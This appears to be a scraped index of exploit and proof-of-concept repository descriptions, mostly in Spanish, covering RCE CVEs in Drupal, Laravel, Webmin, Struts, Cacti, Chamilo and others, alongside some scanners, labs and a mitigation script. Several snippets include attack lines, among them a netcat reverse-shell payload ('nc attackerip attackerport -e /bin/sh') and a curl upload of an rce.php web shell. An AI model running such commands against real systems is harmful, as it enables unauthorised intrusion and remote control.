CVE-2020-8254

CVE-2020-8254: Zip Slip in Pulse Secure VPN Windows Client A vulnerability in the Pulse Secure Desktop Client 9.1R9 has Remote Code Execution RCE if users can be convinced to connect to a malicious server. Vendor Disclosure: The vendor's disclosure and fix for this vulnerability can be found here...

CVE-2025-31324

PoC - CVE-2025-31324 [email protected] Exploit de prueba para la vulnerabilidad CVE-2025-31324 en SAP NetWeaver Visual Composer , que permite la carga arbitraria de archivos sin autenticación a través del endpoint /developmentserver/metadatauploader. ⚠️ Este código es solo para fines...

CVE-2018-7600

POC de CVE-2018-7600 Drupal RCE CVE-2018-7600 ¡No olvides poner tu dirección en el script ! Descripción: Existe una vulnerabilidad de ejecución remota de código en múltiples subsistemas de Drupal 7.x y 8.x. Esto potencialmente permite a los atacantes explotar múltiples vectores de ataque en un...

CVE-2018-15133-PoC

CVE-2018-15133-PoC Este script Python implementa un exploit de ejecución remota de código RCE para aplicaciones Laravel vulnerables mediante deserialización insegura, basándose en la vulnerabilidad CVE-2018-15133. El exploit aprovecha una vulnerabilidad en Laravel versiones 5.5.40 y anteriores, y...

distccd_rce_CVE-2004-2687

The goal of this script NOT to use Metasploit and to do it manually. Usage: nc -lvnp 4466 Running the exploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC Deserialization RCE Scanner This tool checks whether a target is vulnerable to CVE‑2025‑55182 , a Remote Code Execution bug caused by unsafe handling of RSC React Server Components model payloads inside Next.js. The vulnerability chains Prototype Pollution →...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 Visión General Este repositorio documenta los conceptos de seguridad estudiados en la sala de TryHackME referente al CVE-2025-55182 , una vulnerabilidad crítica que afecta: React Server Components RSC Next.js y frameworks basados en RSC Paquetes:...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

CVE-2024-23743

CVE-2024-23743 CVE-2024-23743 Un problema en Notion para MacOS v.3.1.0 permite a un atacante remoto ejecutar código arbitrario a través de los componentes RunAsNode y enableNodeClilnspectArguments Hay una herramienta diseñada para automatizar el proceso de búsqueda de vulnerabilidades en electron...

CVE-2021-45010

CVE-2021-45010 Título del Exploit: Tiny File Manager 2.4.6 Autenticado Ejecución Remota de Código Fecha: 04 Mar 2023 Autor del Exploit: Syd Software Enlace: https://github.com/prasathmani/tinyfilemanager Versión: Tiny File Manager = 2.4.3 Probado en: Parrot OS 20.04 CVE : CVE-2021-45010 Referenci...

CVE-2024-32002-git-rce

This repository does not have a README...

CVE-2019-15107

CVE-2019-15107 webmin o minisever RCE Uso del script: Probado en v1.890, pero también debería funcionar en otras versiones de webmin en las que esté instalado este backdoor. python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2017-5638

CVE-2017-5638 Las versiones de Apache Struts 2 2.3.x anteriores a 2.3.32 y 2.5.x anteriores a 2.5.10.1 tienen una falla en su analizador Jakarta Multipart. Esta falla provoca un manejo incorrecto de excepciones y la generación de mensajes de error al intentar cargar archivos. Como resultado, los...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Configuración de Docker Ngrok CVE-2018-11235-Git PoC y tunelización con docker ngrok Construir Dockerfile $ docker build -t cve-2018-11235 . Crear red personalizada para ngrok $ docker network create myngroknet Iniciar Servidor Git Http $ docker run -d -p 8080:80...

CVE-2022-46169

Aquí está el documento de explicación reformateado: CVE‑2022‑46169 – Explicación y Resumen del Proyecto Cacti Ejecución Remota de Código sin Autenticación ¿Qué es este proyecto? Este proyecto es un ejercicio de ciberseguridad que demuestra CVE‑2022‑46169 : una vulnerabilidad crítica en la...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 Solución temporal para mitigar la vulnerabilidad CVE-2023-36884. Esta vulnerabilidad afecta al sistema operativo Windows y puede permitir la ejecución remota de código malicioso. CVE-2023-36884 » CVE-2023-36884 La vulnerabilidad CVE-2023-36884, que es una falla de seguridad...

Nuclei-Template-CVE-2024-50379

Nuclei-Template-CVE-2024-50379 Descripción Este template de Nuclei detecta servidores Apache Tomcat vulnerables a la condición de carrera TOCTOU que permite la ejecución remota de código RCE. ⚠ Nota importante : Este template debe ser utilizado exclusivamente para fines educativos y en entornos...

CVE-2017-9841-EXPLOIT

CVE-2017-9841 - Ejecución Remota de CódigoRCE en PHPUnit Esta vulnerabilidad afecta a versiones de PHPUnit anteriores a la 4.8.28 y a todas las versiones 5.x anteriores a la 5.6.3. Permite a los atacantes ejecutar código PHP arbitrario en servidores donde PHPUnit está expuesto. El problema existe...

CVE-2026-3844-Lab

CVE-2026-3844 — Laboratorio de Subida de Archivos Arbitraria No Autenticada a RCE en Breeze Cache Laboratorio Docker local para reproducir y comparar el comportamiento de CVE-2026-3844 en el plugin Breeze Cache de WordPress. Este repositorio demuestra el comportamiento vulnerable en Breeze Cache...

exploit-cve-2018-7448

exploit-cve-2018-7448 Propósito Este es un script de Python para automatizar CMS Made Simple 2.1.6 - Ejecución remota de código - CVE-2018-7448. Fue creado basándose en https://www.exploit-db.com/exploits/44192. Uso python3 exploit-CVE-2018-7448.py -t 127.0.0.1/cmsms -d cms -u root -p password...